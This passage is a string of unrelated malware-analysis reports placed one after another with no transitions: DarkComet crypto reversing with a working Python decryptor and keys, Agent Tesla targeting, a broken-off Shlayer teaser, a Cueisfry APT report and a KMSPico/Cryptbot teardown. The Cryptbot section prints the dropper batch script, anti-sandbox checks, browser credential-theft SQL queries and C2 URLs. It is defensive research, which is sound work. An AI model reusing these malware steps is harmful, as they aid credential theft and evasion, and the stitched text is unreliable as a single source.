raw (encrypted) source buffer `src_buf_var_4` via EAX, along with an output buffer `temp_buf_var_420` via EDX, to function `sub_44C1C0()`; the output buffer is then copied back into the original source buffer `src_buf_var_4`. So `sub_44C1C0()` seems like it might be doing some pre-processing on the encrypted source buffer; let's see what kind of pre-processing it is doing. Skipping past the obligatory checks for empty source buffers, etc., we arrive at some code that loops over the source buffer, referenced by `src_buf_var_4`; however, it makes only one loop iteration for every two bytes in `src_buf_var_4`. This is accomplished by extracting the DWORD just in front of the source string and shifting it one bit to the right, in order to calculate the number of pairs of source characters. This works because in Delphi, the AnsiString class stores its length at an offset of 4 bytes in front of the first actual byte of string content. For example, in the case of the initial encrypted payload received by the bot from the C&C, `155CAD31A61F`, the length of the source buffer is 12, so the code will make only 6 iterations through the loop. On each iteration of the loop, DarkComet will process a pair of two source bytes to yield one output byte. The first operation inside the loop is to test whether or not the value of the first source byte in the pair is greater than 0x39, and branch accordingly. After using the one-based index EBX to pull out the first of the two source bytes in the pair, it adds 0xD0, subtracts 0x0A, and then tests whether the resulting value is greater than or equal to zero. Since it is operating on the 8-bit register AL, the result is that source bytes with values of 0x3A or greater will be processed by one branch, and those with values of 0x39 and less will be processed by a second branch. If the first source byte in the pair has value 0x39 or less, the bot will subtract 0x30 from it and save the result to the current index within the output buffer. In other words, it will convert the ASCII representations (0x30, 0x31, ..., 0x39) of the digits 0 through 9 into their equivalent integer representations (0x00, 0x01, ..., 0x09). The second branch performs a similar operation: it first tests to make sure that the value of the source byte is not 0x47 or greater (in which case it will immediately bail out of the loop and jump to the end of the `PreProcess_sub_44C1C0()` function.) It will then subtract 0x37 from the source byte and save the result into the current index within the output buffer. In other words, it will convert the ASCII representations (0x41, 0x42, ..., 0x46) of the upper-case letters A through F into their equivalent hexadecimal representations (0x0A, 0x0B, ..., 0x0F). The two branches (for handling digits and upper-case A through F) will then re-join, and the resulting integer/hexadecimal representation of the first source byte will be left-shifted by four (thus multiplying it by 16). At this point, it is pretty clear what is going on. The `PreProcess_sub_44C1C0()` function is converting the ASCII representation of the source string of bytes into the equivalent hexadecimal representation. This conjecture is confirmed upon inspection of the remaining portion of the loop, which applies the same ASCII-to-hex operation on the second byte of each pair of source bytes, and adds the result to the left-shifted output from the first byte of the pair. So at the end of the day, the first line of raw encrypted source payload from the C&C is pre-processed from the 12-character ASCII string `155CAD31A61F` to its equivalent sequence of six hexadecimal bytes `0x15 0x5C 0xAD 0x31 0xA6 0x1F`. So we will rename this function as `Integerize_sub_44C1C0()`, and head back to the main `DecryptCommandBuffer_sub_44C628()` function to continue reversing the crypto algorithm. After the raw source buffer has been converted from ASCII form to integer form, the next substantive code block initializes a 256-element array `stable_var_41C`. Each element in `stable_var_41C` is a 32-bit DWORD; the elements are initialized to the values `0x00000000` through `0x000000FF` in ascending order. At this point, we can guess that `stable_var_41C` is going to play the role of a substitution table for decrypting the source buffer `src_buf_var_4`, so let's see how DarkComet builds this table. After initializing the substitution table to hold all the values between `0x00` and `0xFF` in a nice ascending order, it proceeds to vigorously scramble up the elements of the table. It makes 256 iterations through a loop; on each iteration, it swaps the positions of two of the elements in the substitution table. On the kth iteration, one of the swapped elements is always the kth element, which is pointed to by register ECX; the other is chosen based on the key string. The core of the loop that scrambles up the substitution table is as follows: The first code block in the above IDA listing chooses which element of `stable_var_41C` should be swapped with the kth element. It uses an accumulator variable, implemented by register EBX and initialized to zero. On each pass through the loop, it updates the accumulator EBX by adding to it the value of the kth element of `stable_var_41C` and the value of the current key string byte. One byte of key string is used per iteration, and whenever the key string is "used up", it restarts again at the beginning of the key; register EDI holds the length of the key string, so the bot just computes k modulo EDI to choose which byte of the key to use on the kth iteration. The last code block performs the actual swapping, using `swap_temp_var_15` as the temporary variable to do the swap. Once 256 such swaps have been performed, the loop exits and the substitution table `stable_var_41C` has been nicely scrambled and is ready for use. At this point, the actual process of decryption is performed. DarkComet iterates through its decryption loop once for each byte in the encrypted source message (after conversion from ASCII to integer representation.) The decryption loop performs the following two steps: First, it performs an additional scrambling operation on the substitution table `stable_var_41C` by swapping two elements. When processing the kth source byte, the first element of the swap pair is always the k+1th element of table `stable_var_41C`; it uses another accumulator variable, implemented by register EDI, to choose the second element of the swap pair. After performing this swap operation, DarkComet finally decrypts a byte of message. It sums up the values of the two swapped elements, then uses the result (modulo 256) to re-index into the `stable_var_41C` table to pull out a third element. This third element is XORed against the current (kth) source byte to produce a decrypted character. It should be pointed out that conceptually, this decryption mechanism - both the manner in which the substitution table is built, as well as how it is used for XOR-based decryption - is very similar to that used by the Trojan.PonyDOS malware family. The actual implementation has quite a few differences, but the basic encryption algorithm is the same. Trojan.PonyDOS, however, adds a few additional layers to secure its communications protocol above and beyond the core crypto algorithm which it shares with DarkComet; specifically, the computation of some cryptographic hashes. Also, Trojan.PonyDOS does not go to the trouble of converting its encrypted data payloads into ASCII representations as DarkComet does. Now that we've reversed the core DarkComet decryption mechanism (needed to read C&C commands), we'll want to confirm that the encryption mechanism (needed to read and/or fake bot phone home messages) is symmetric. And indeed, by following references to the socket handle used to recv() the initial C&C command, we can trace through to find the encryption routine called by DarkComet just prior to send()ing back its response messages. Sure enough, the encryption routine, `Encrypt_sub_44C34C()`, is functionally identical to the decryption routine, as hoped and expected; the only difference being that the `Integerize_sub_44C1C0()` routine prior to decryption is absent, and a new routine, which we'll call `Integer2String_sub_409C6C()`, is called following the encryption step; this routine simply converts the raw encrypted data back into the ASCII version of its hexadecimal values. Of course, in order to have a fully functional implementation of DarkComet's crypto system, we'll need to know what key strings it uses. We see that there are two locations where `DecryptCommandBuffer_sub_44C628()` is called, and one of those locations, `EncryptData_sub_49D9EC()`, has a hard-coded string with an uncanny resemblance to a decryption key: We see that the decryption string `key_var_10`, passed to `DecryptCommandBuffer_sub_44C628()` via EDX, is formed by concatenating a hard-coded string `#KCMDDC42F#-` with some mystery string stored at `[EBX+8]`. It turns out that this mysterious value stored at an offset from EBX is passed into `EncryptData_sub_49D9EC()` via the EAX register. Tracing backwards up the stack, we follow the reference to EAX as the baton is passed from register to register. It does not take long to come across the following routine, which we will label `ComputeKeySuffix_sub_48F52C()`. You don't run into code like this very often. It receives an output buffer passed via EAX. It then uses register EBX to do some rather "inefficient" operations. First, it assigns EBX the value `0xFFFFFF8F`, or -71. It then adds 1000 to EBX, yielding 887. Then it goes through four iterations of a loop that has no purpose other than to increment EBX by one on each iteration, resulting in a value of 891. Finally, it completes its laborious calculations by decrementing EBX by one, yielding a final answer of 890. This integer is passed to a standard integer-to-string API, which writes the string 890 into the output buffer. In C, these shenanigans would look something like the following: ```c int nAddend = 1000; int nSuffix = -71; int nResult = nSuffix + nAddend; for (int k=0; k<4; k++) nResult += 1; sprintf(suffix, "%d", --nResult); ``` This is a very roundabout way of assigning the hard-coded string 890 to a buffer. Clearly the DarkComet author is (wisely) trying to avoid having the entire decryption key string hard-coded in the bot executable. So at this point, we know that the decryption key is composed of the prefix `#KCMDDC42F#-` concatenated with the suffix 890, yielding `#KCMDDC42F#-890`. One final note regarding the encryption key strings used by DarkComet: as first documented in Contextis' Laura Aylward's DarkComet analysis, each version of DarkComet uses a different hard-coded string for the key prefix. For example, we have observed the following: | Dark Comet version | Crypto Key Prefix (Default) | |---------------------|-----------------------------| | Version 4.0 | #KCMDDC4#-890 | | Version 4.2 | #KCMDDC42F#-890 | | Version 5.0 | #KCMDDC5#-890 | Furthermore, and also documented by Contextis, DarkComet supports the use of an optional password that is appended to the default (version-specific) crypto key. For example, the default password (if enabled) string is `0123456789`. This 10-digit string will be appended to the standard crypto key `#KCMDDC42F#-890` (in the case of DarkComet version 4.2) to yield a final key of `#KCMDDC42F#-8900123456789`. The code that performs this concatenation is found in a routine we'll call `FormCryptoKey_sub_49D2F4()`. This code concatenates the three components of the final crypto key: the hard-coded prefix (e.g., `#KCMDDC42F#-`), the three-digit string 890 that is not technically hard-coded but deterministically computed using the aforementioned `ComputeKeySuffix_sub_48F52C()` routine, and the optional botnet password stored in the global variable `PWD_off_4A4B84`. The password itself is actually stored as an encrypted resource. Upon initialization, it is decrypted using a preliminary crypto key comprised only of the first two components (e.g., `#KCMDDC42F#-890`) using a routine we've labeled `DecryptResource_sub_49D9EC()`. To make a long story short, this routine uses the Windows APIs FindResource(), LoadResource(), etc. to extract a named resource of type RT_RCDATA (code 0x0A), intended for "application-defined resources (raw data)". The raw data is then decrypted using the preliminary crypto key. In the case of the crypto password, the name of the resource is PWD. The resource is extracted, decrypted, and stored for future use in the global variable `PWD_off_4A4B84` by a function we call `DecryptResources_sub_49F92C()`. In the case of the default password `0123456789`, the encrypted resource will hold the value `6811E636E69E9AEFA5C6`. This `DecryptResources_sub_49F92C()` function actually decrypts a lot of encrypted bot parameters stored in various resources; some of the more interesting ones are as follows: | Resource Name | Encrypted Data | Decrypted Value | |---------------|----------------|------------------| | FAKEMSG | 69 | 1 | | GENCODE | 6146B749A3CF9C9FE8CFAB2C | 9fcLqd0Gu00j | | MSGCORE | 1100A768B3C7C0F8FCDFC907B6F9 | I small a RAT! | | MSGTITLE | 1C41A66E91C4C1BDE9 | DarkComet | | MUTEX | 1C638B4887FFE980B0B9AE72B1EA40A3 | DC_MUTEX-F54S21D | | NETDATA | 6919E62BE39D94F6ACCFAB68D5ED4BD67BA333 | 192.168.100.75:1604 | | PWD | 6811E636E69E9AEFA5C6 | 0123456789 | | SID | 1F55B176A69A9A | Guest16 | Of particular interest is the encrypted NETDATA resource, which holds the C&C hostname and port. The Resource Hacker tool is a great utility for viewing and extracting the various DarkComet encrypted parameters. So to summarize, DarkComet uses a hard-coded (although different for each version) preliminary key string, such as `#KCMDDC42F#-890`, to decrypt its sensitive parameters from various raw resources - such as the C&C information and communications password stored in the NETDATA and PWD resources, respectively. It then appends the decrypted comms password (stored in the PWD resource) to the end of the preliminary crypto key string to form the final key, `#KCMDDC42F#-8900123456789`, that it uses for securing the network traffic to and from its C&C server. Putting everything together into a complete DarkComet crypto module yields the following Python script: ```python # DarkComet decryptor/encryptor # Copyright (c) 2012 Arbor Networks import sys class DarkCometCryptor(object): def __init__(self, key): self._len_key = len(key) self._key = [ord(token) for token in key] def decrypt(self, src): # Convert ASCII to hex representation buf = [int("0x%s" % src[k*2:k*2+2], 16) for k in range(len(src)//2)] self._cryption(buf) return "".join([chr(token) for token in buf]) def encrypt(self, src): buf = [ord(token) for token in src] self._cryption(buf) # Convert to hex codes (upper case) return "".join(["%02x" % tok for tok in buf]).upper() def _cryption(self, src): # Build subst table stable = list(range(256)) accum = 0 for k in range(256): accum += stable[k] accum += self._key[k % self._len_key] accum &= 0xff stable[k], stable[accum] = stable[accum], stable[k] # Apply subst table accum = 0 for k in range(len(src)): elem_a_idx = self._LS_BYTE(k + 1) accum += stable[elem_a_idx] elem_b_idx = self._LS_BYTE(accum) stable[elem_b_idx], stable[elem_a_idx] = stable[elem_a_idx], stable[elem_b_idx] swap_sum = self._LS_BYTE(stable[elem_b_idx] + stable[elem_a_idx]) src[k] ^= self._LS_BYTE(stable[swap_sum]) @staticmethod def _LS_BYTE(value): return 0xff & value if __name__ == '__main__': if len(sys.argv) != 4 or sys.argv[1] not in ('-d', '-e'): print("usage: %s [-d|-e] SRC_TEXT KEY" % sys.argv[0]) sys.exit(1) do_decrypt = bool(sys.argv[1] == '-d') src = sys.argv[2] key = sys.argv[3] print("%s: %s" % ("CRYPT" if do_decrypt else "PLAIN", src)) cryptor = DarkCometCryptor(key) dst = cryptor.decrypt(src) if do_decrypt else cryptor.encrypt(src) print("%s: %s" % ("PLAIN" if do_decrypt else "CRYPT", dst)) ``` Applying our DarkComet encryption module against the observed traffic results in the following: ``` C&C: IDTYPE Bot: SERVER C&C: GetSIN192.10.8.64|27038511 Bot: infoesComet|192.10.8.64 / [192.1.167.30] : 1604|SANDBOX7 / Admin|27038511|29s|Windows XP Service Pack 2 [2600] 32 bit ( C:\ )|x||US|C:\WINDOWS\system32\cmd.exe|{16382783-b70c-71e4-11e0-28f8efc0696f-10806d6172}|127.43 MiB/256.09 MiB [128.22 MiB Free]|English (United States) US / -- |10/9/2011 at 8:13:31 PM ``` Likewise, when a DarkComet C&C issues attacks command, the encrypted traffic on the wire looks like these examples: ``` 185CB63BBE0EA3DF6D2A725936265160E391BC77F47FF46A3934CFB173AC 185CB63BA31EA7C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 185CB63BA503B9C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 ``` But applying the decryption routine yields the following: ``` DDOSHTTPFLOOD192.168.100.254|5 DDOSUDPFLOOD192.168.100.254:80|5 DDOSSYNFLOOD192.168.100.254:80|5 ``` Which corresponds to ordering an HTTP flood, a UDP flood, and a TCP flood, respectively, against target `192.168.100.254`, with each attack lasting for 5 seconds. Once the attacks are completed the DarkComet bot will respond with an encrypted status message such as the following: ``` 1E4CAB2DA50FBBDB781F5336347B073DA9DCD936B46EB03B646DDAE366F7D5C76D3C0420A55906F524 240A0F34D3A6384150 ``` Which decrypts to the following: ``` BTRESULTSyn Flood|Syn task finished!|Administrator ``` As implied above, DarkComet supports three types of DDoS attacks: HTTP flooding, UDP flooding, and TCP flooding (mis-advertised as "SYNFLOOD"). The UDP and TCP volumetric floods are quite unremarkable and simply consist of random gibberish blasted at a target host and port. The HTTP flood also appears to be intended as a rudimentary GET flood with a minimalist HTTP request header. However, DarkComet's HTTP flood implementation happens to have not one, but two catastrophic bugs. First of all, the thread procedure that implements the `DDOSHTTPFLOOD` attack command, `SendHttp_sub_485848()`, uses the WinSock2 library's socket(), connect(), and send() APIs to send the following hard-coded HTTP flooding request: ``` GET / HTTP/1.1\r\n\r\n ``` At first glance, this looks like an (almost) valid, although minimalist, HTTP request that is terminated with a double carriage-return/line-feed (CRLF) combination. However, when one takes a closer look at the way DarkComet stores this string, we see that the `\r` and `\n` characters are not actually CR (0x0D) and LF (0x0A) bytes. Instead, they are literally comprised of the backslash (0x2F), letter r (0x72), and letter n (0x6E) bytes! If the HTTP request string had been encoded properly (ending with `0x0D0A0D0A`), the length of the string would have been 18. But instead, we see that it is 22 bytes in length. Due to this, DarkComet's attempt at an application layer attack is not close to a valid HTTP request per the RFCs. The second big mistake in the implementation of DarkComet's HTTP flood attack becomes apparent further down in the attack thread code, just before the (buggy) HTTP request payload is sent to the target via the send() API: Unbelievably, DarkComet bot is accidentally encrypting the (buggy) GET request string via a call to the already-reversed `Encrypt_sub_44C34C()` routine. The resulting (encrypted) HTTP request is then sent on its merry way to the DDoS target via the send() API call. So the target web server ends up receiving gibberish instead of a well-formed HTTP request that might exhaust resources at the application layer. Due to these two serious flaws, DarkComet's HTTP flood attack reduces down to nothing more than a volumetric TCP flood against port 80, and a very weak one at that (a mere 22 bytes of TCP payload per flooding packet...) In fact, here is what the actual "HTTP flooding" traffic looks like: ``` 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 ``` Clearly, this is very unlikely to bring any web server to its knees! Acknowledgements to Arbor Networks analyst Curt Wilson for his valuable insights and assistance with this article.
# Strategic Analysis: Agent Tesla Expands Targeting and Networking Capabilities A new iteration of the Agent Tesla keylogger has expanded on its data harvesting capabilities and exfiltration efforts in phishing campaigns primarily targeting India and ISPs. Cofense Intelligence recently alerted customers to Agent Tesla’s high volume compared to other keylogger families from January to August this year. The newest iteration of the keylogger added to that volume, likely as threat actors moved to adopt the updated version. Threat actors who transition to this version of Agent Tesla gain the capability to target a wider range of stored credentials, including those for web browser, email, VPN, and other services. This may indicate an increased interest in stolen credentials for a more specialized segment of the market or a particular kind of product or service. The update also includes networking capabilities that create a more robust set of exfiltration methods, including the use of the Telegram messaging service—adding to an overall trend of abusing trusted platforms to evade network-based detection. For Cofense Intelligence customers, technical details of these and other updates are available in the full report in ThreatHQ. From August to December of this year, the newest iteration of Agent Tesla largely followed the same pattern as the older version in terms of targeted industries and regions. Both versions preferred to target email accounts in India more than any other region. The United States and Brazil were also among the top three most targeted regions. Agent Tesla overwhelmingly targeted internet service providers (ISPs) over other industries. Utilities and financial services rounded out the top three targeted industries. ISPs could be considered a major target for threat actors because of the other industry verticals that rely on them for essential functions. A compromised ISP could give threat actors access to organizations that have integrations and downstream permissions with the ISP. Subscribers would also be at risk, as ISPs often hold emails or other critical personal data that could be used to gain access to other accounts and services. In at least one incident, attackers reportedly targeted subscriber data of a compromised ISP in Austria. Agent Tesla has been a major force within the phishing-threat landscape for years and has steadily evolved, likely in response to threat actors’ demands and improvements in network defenses. The variety of infection chains that use this keylogger family as its final payload are too numerous to list, which shows the versatility of this particular family. The fact that older versions of Agent Tesla keylogger are still successful today likely indicates that threat actors will be slow to adopt the newest version. However, once threat actors realize the benefits gained from updating to the newest version, they may transition more quickly as the new features might be necessary. Despite the dangerous capabilities of both versions of Agent Tesla, organizations can protect themselves by educating their employees and keeping proper mitigations in place.
# Shlayer, No. 1 Threat for Mac, Targets YouTube, Wikipedia A slip-up by a malware author has allowed researchers to taxonomize three ransomware variations going by different...
# APT Campaign Leverages the Cueisfry Trojan and Microsoft Word Vulnerability CVE-2014-1761 Param Singh Dell SecureWorks Counter Threat Unit™ (CTU) researchers discovered the Cueisfry first-stage downloader trojan while analyzing a spearphishing message sent to an email account belonging to an intelligence-related group in Japan. The message was part of an Advanced Persistent Threat (APT) campaign targeting government officials and economic institutions in Southeast Asia. ## Behavior The attachment contained a Rich Text Format (RTF) file that exploited CVE-2014-1761, which affects multiple Microsoft Word releases and allows remote attackers to execute arbitrary code via crafted RTF data. Upon exploitation, the RTF file drops the Epdate.exe file (MD5: 1c29b24d4d4ef7568f519c470b51bbed) and executes it from the system's %TEMP% folder. The compilation timestamp of the dropped Epdate.exe file was April 21, 2014, indicating that it was created the day before the email was sent. When executed for the first time on a victim's computer, Epdate.exe (the Cueisfry trojan) checks for the existence of “AntiVir_Update.URL” in the Startup folder. When that check fails, Cueisfry writes the file to the Startup folder to allow the malware to maintain persistence and automatically launch with a system restart and across logins. Cueisfry does not communicate with its command and control (C2) server during this initial run. When the victim logs back onto the system, Windows automatically triggers the AntiVir_Update.URL file in the Startup folder. As with its initial run, Epdate.exe checks for the AntiVir_Update.URL file in the Startup folder. Confirming the file's existence, Cueisfry establishes a connection to the hard-coded C2 IP address 198.55.103.148. This IP address is still active as of this publication. Upon execution, Cueisfry checks for proxy settings on the victim's systems by querying the HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings registry key and reading values for ProxyEnable and ProxyServer. Then it writes information about processes running on the victim's system to %TEMP%~Proc75C.DAT. After gathering the system's process information, Cueisfry relays it to the C2 server. ## Conclusion The details of the spearphishing email and dropped Cueisfry malware demonstrate attackers' sophistication when targeting high-value organizations. The use of CVE-2014-1761 reveals attackers' ability to exploit a newly disclosed vulnerability. Organizations can protect themselves from such attacks by applying security updates as they become available from vendors. Organizations should also invest in programs to educate and train employees in detecting and reporting spearphishing attempts. ## Threat indicators The threat indicators can be used to detect activity related to the Cueisfry downloader trojan. The IP addresses listed may contain malicious content, so consider the risks before opening them in a browser. | Indicator | Type | Context | |---------------------------------------------------|-------------|-------------------------------------| | 1c29b24d4d4ef7568f519c470b51bbed | MD5 hash | Cueisfry downloader trojan | | 6ecfb8b802997c2198eb5ff5c87794b0 | MD5 hash | Cueisfry downloader trojan | | 90dc549999ac89ca14ce4ef61fc93ae9 | MD5 hash | Cueisfry downloader trojan | | 7480293644d041f5a969ab847bd12da4 | MD5 hash | Cueisfry downloader trojan | | ccb3fff7f699e881e3fddcaa2aadc8ba | MD5 hash | Cueisfry downloader trojan | | 198.55.103.148 | IP address | C2 server | | 107.181.234.41 | IP address | C2 server | | 198.74.114.231 | IP address | C2 server |
# KMSPico with Extra Spice ## A Tainted Installer In this malware analysis deep dive, we’ll analyze a malicious KMSpico installer. You can find a copy of the same installer on VirusTotal if you want to play along at home. For more information on KMSpico and how it relates to Cryptbot, read our public article posted on the Red Canary blog. This KMSPico installer is a self-extracting executable (SFX) seemingly built with something like 7-Zip. During our analysis, we noted that the adversary password-protected the executable and distributed it with a “password.txt” file containing the text official-kmspico[.]com. Documentation about SFX installers reveals the files are really a combination of a few components: - 7-Zip SFX module that executes attached content - Plaintext configuration file that specifies additional commands - 7-Zip archive containing the files for the installer to work with In addition, the documentation suggests that a configuration stanza should start with text like ”@!UTF-8!”. By parsing through the bytes of the installer file with a hex editor, we located the configuration stanza for this particular sample: ``` ;!@kLCqTRp@!UTF-8! GUIMode="2" OverwriteMode="1" RunProgram="forcenowait:4.scr" RunProgram="hidcon:cmd /c cmd < Pensai.vsd" ;!@kLCqTRpEnd@! ``` According to the configuration file, two commands are executed at runtime: `4.scr` and `cmd.exe /c cmd < Pensai.vsd`. Later analysis determined that `4.scr` was the legitimate KMSpico installer, while the other command ultimately led to the installation of Cryptbot. During execution, the installer unpacked a “Pensai.vsd” file and executed it using `cmd.exe`. After parsing out the configuration, we also obtained the original 7-Zip archive file attached to the installer by searching for the magic bytes of a 7Z archive (37 7A BC AF 27 1C) and extracting the bytes from this header until the end of the file. We then extracted the contents using the password as needed. The extracted files included: - Pensai.vsd (a .bat script) - Copriva.vsd (a renamed instance of the AutoIT runtime missing a MZ header) - Svelto.vsd (an obfuscated AutoIT script) - Talismani.vsd (a RC4-encrypted Cryptbot binary) ## CypherIT Crypter System As we dug deeper into analysis, we noted components of the malware that overlapped with a CypherIT that other vendors have observed in combination with multiple malware families in recent years. We found the first overlap in the extracted Pensai.vsd script content: ``` if %userdomain%==DESKTOP-QO5QU33 exit 1 <nul set /p = "MZ" > Partito.exe.com findstr /V /R "^LudVevuvObtrrfCxlJsmGrKQFdEElODNLiWdFAzNjzXHSiHjbnHmtuMIcAdLSCkZUdaWzjPKdEjjur XnJsuLirJEcgVtlIVKiXMCPLTk$" Copriva.vsd >> Partito.exe.com copy Svelto.vsd B start Partito.exe.com B ping 127.0.0.1 -n 30 ``` During execution, the sample checked to see if the computer name was `DESKTOP-QO5QU33`, and exited if it was. Multiple vendors have associated this name check with malware, including: - Miner va Labs - Dr. Web - Zscaler - AhnLab Assuming the computer name is different, the sample creates `Partito.exe.com` with the contents “MZ”, which is the ASCII equivalent of hex bytes that identify a Windows executable. Then the sample issues a `findstr` command that returns all the content of `Copriva.vsd` except for a unique string at the beginning of the file. The sample appends the content to `Partito.exe.com` to create a complete copy of the AutoIT tool designed to execute AutoIT scripts. Finally, the sample copies `Svelto.vsd` into a file named `B` and uses the AutoIT runtime to execute obfuscated script content. Diving deeper into the executed AutoIT script, we encountered very heavy obfuscation within the script that took multiple forms. First, the adversary obfuscated the script using control flow obfuscation. In doing so, they introduced thousands of lines of Switch/Case statements hardcoded to take a specific path for execution while the extra statements visually overwhelm folks analyzing the malware. ## Obfuscated AutoIT Code Second, the adversary obfuscated the script using extraneous garbage code to purposely slow analysis. This takes the form of additional mathematical operations, boolean logic, and variable assignments. In addition, the adversary introduced several unneeded functions within the code. Finally, the script obfuscates strings using a modified Caesar Cipher and string reversal. The adversary implemented a function to take in a string containing decimal values, split it on preset characters, shift the decimal values by a specified key, and output the shifted decimal numbers as Unicode characters. In practice, the calls to the deobfuscation function look similar to: ``` XsqTp("74@89@112@102@42@108@101@114@80@124@43",2). ``` Once we removed most of the obfuscation we found more system checks, this time to avoid sandboxes or AV emulation. ``` If Execute("EnvGet('COMPUTERNAME')") = "DESKTOP-QO5QU33" Then Execute("WinClose(AutoItWinGetTitle())") If (Execute("EnvGet('COMPUTERNAME')") = "NfZtFbPfH") Then Execute("WinClose(AutoItWinGetTitle()") If (Execute("EnvGet('COMPUTERNAME')") = "tz") Then Execute("WinClose(AutoItWinGetTitle())") If (Execute("EnvGet('COMPUTERNAME')") = "ELICZ") Then Execute("WinClose(AutoItWinGetTitle())") If (FileExists("C:\aaa_TouchMeNot_.txt")) Then Execute("WinClose(AutoItWinGetTitle())") ``` In these cases, the names corresponded with security products to avoid (Blackthorne, et al): - NfZtFbPfH - Kaspersky - tz - BitDefender - ELICZ - AVG - C:\aaa_TouchMeNot_.txt - Windows Defender emulation Once these checks are passed, the sample reads an encrypted blob from `Talismani.vsd` and decrypts it using a RC4 algorithm implemented as shellcode. To perform the decryption, the sample used shellcode encoded as hex strings within the script. Using an RC4 key of “02695646”, we obtained the final Cryptbot payload. Assuming the sample would continue execution, it injected the Cryptbot bytes into the memory space of the running `Partito.exe.com` process for execution without touching disk in cleartext form. To achieve the injection, the sample used process hollowing. This tried-and-true injection method allowed the malware to unmap a section of its own memory, map arbitrary bytes into the same memory space, and set the process to execute those bytes. Part of this injection process was obfuscated, but we found references to two critical calls for hollowing: `VirtualAlloc` and `NtUnmapViewOfSection`. ## Identifying Cryptbot From this point forward we analyzed the extracted Cryptbot payload. The PE import hash for this sample (b75a0e10d09dc263c2f3a47cd7d7c747), which helps identify binaries with similar capabilities, overlaps with additional binaries identified as Cryptbot on VirusTotal. VT Enterprise or VT Intelligence is required for this search. The PE Rich header hash for this sample (61d97c41a36e2ffc7d5cf1a0f6e7316b), which helps identify binaries with similar build systems, overlaps with additional binaries identified as Cryptbot on VirusTotal. VT Enterprise or VT Intelligence is also required for this search. The self-deletion behavior for this malware sample overlaps with previously documented Cryptbot behavior from DeepInstinct. Both samples issue deletion commands containing the strings `cmd.exe /c rd /s /q` and `& timeout 3 & del /f /q`. The HTTP network traffic generated from this sample overlaps with previously documented Cryptbot network traffic. Both this sample and the previously documented Cryptbot samples generated HTTP requests containing these strings documented by DeepInstinct and BleepingComputer: - Content-Disposition: form-data; name="file"; filename= - Content-Type: application/octet-stream - Content-Type: multipart/form-data; boundary= The strings identifying file modifications for this sample closely match or overlap with those previously associated with Cryptbot by researchers. These include paths such as `\Files\_Screen.jpg` and `\Files\_Info.txt`. The network domain indicators for this sample overlap with analysis from Joe Sandbox on one or more VirusTotal samples classified as Cryptbot. The delivery method for this sample, a packed self-extracting binary that contained obfuscated AutoIT content delivering Cryptbot, overlaps with the delivery method described for a recent Cryptbot campaign documented by AhnLab. ## Application Data Collection (T1005) During analysis, we found multiple references to sensitive files and folders belonging to web browsers and cryptocurrency wallets, a sampling of which contained these strings: - %wS\Mozilla\Firefox\%wS - %wS\cookies.sqlite - %wS\formhistory.sqlite - %s\logins.json - %s\signons.sqlite Each of the references corresponded to code designed to copy or otherwise retrieve data from browsers or wallets consistent with stealer activity. Investigating further, we identified multiple SQLite queries in the Cryptbot sample designed to steal data from Chromium-based and Firefox web browsers: This query retrieved username and password data from Chromium-based web browsers such as Chrome and Opera. ``` SELECT origin_url, username_value, password_value FROM logins ``` This query retrieved credit card data from Chromium-based web browsers such as Chrome or Opera. ``` SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards ``` This query retrieved autofill data from Chromium-based web browsers such as Chrome or Opera. ``` SELECT name, value, value_lower FROM autofill ``` This query retrieved username and password data from Mozilla Firefox browsers. ``` SELECT formSubmitURL, encryptedUsername, encryptedPassword FROM moz_logins ``` This query retrieved encryption key data used to encrypt username and password data in Mozilla Firefox. ``` SELECT item1, item2 FROM metadata WHERE id = 'password' ``` This query retrieved cookie data from Chromium-based web browsers such as Chrome or Opera. ``` SELECT host_key, path, name, encrypted_value FROM cookies ``` This query retrieved encryption key data used to encrypt more data within Mozilla Firefox. ``` SELECT a11, a102 FROM nssPrivate ``` Cryptbot is capable of collecting sensitive information from the following applications: - Atomic Cryptocurrency Wallet - Electron Cash Cryptocurrency Wallet - Avast Secure Web Browser - Electrum Cryptocurrency Wallet - Brave Browser - Exodus Cryptocurrency Wallet - Ledger Live Cryptocurrency Wallet - Monero Cryptocurrency Wallet - Opera Web Browser - MultiBitHD Cryptocurrency Wallet - Waves Client and Exchange Cryptocurrency Applications - Mozilla Firefox Web Browser - Coinomi Cryptocurrency Wallet - CCleaner Web Browser - Google Chrome Web Browser - Vivaldi Web Browser - Jaxx Liberty Cryptocurrency Wallet ## Marking to Prevent Reinfection During analysis with Ghidra, we identified a section of code that specifically checks for the presence of `%APPDATA%\Ramson`. If this folder exists, the malware will execute its self-deletion routine and the process will exit. During execution, the sample creates the mentioned “Ramson” folder, making a marker that prevents reinfection after first execution. ## Web Protocols (T1071.001) and Masquerading (T1036.005) We identified sections of code that referenced network connections with external network domains. These network connections used three different domains while sharing request URI and HTTP User-Agent String properties. The indicators are listed below: - hxxp://kiyhtr74[.]top/index.php - hxxp://morgon07[.]top/index.php - hxxp://peomyn10[.]top/download.php?file=lv.exe All network connections used a consistent HTTP User-Agent String of `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36`. This string masquerades HTTP traffic from this process on a network and makes it appear to originate from a Google Chrome browser version 89 on Windows 10 x64. ## Behavioral Detection Shores Up Signature-Based Detection This malware continues a trend we’ve seen in recent threats, such as Yellow Cockatoo/Jupyter. Adversaries continue to use packers, crypters, and evasion methods to stymie signature-based tools such as antivirus and YARA rules. As these threats grow more complex with their obfuscation, they must exert an equal and opposite effort to remove that same obfuscation after delivery to run the malware. During this delivery and obfuscation process, behavior-based detection shines and helps close gaps on malicious activity that might otherwise get missed. Searching for the following helped us detect this threat: - Binaries containing AutoIT metadata but don’t have “AutoIT” in their file names - AutoIT processes making external network connections - `findstr` commands similar to `findstr /V /R "^ … $` - PowerShell or `cmd.exe` commands containing `rd /s /q`, `timeout`, and `del /f /q` together.
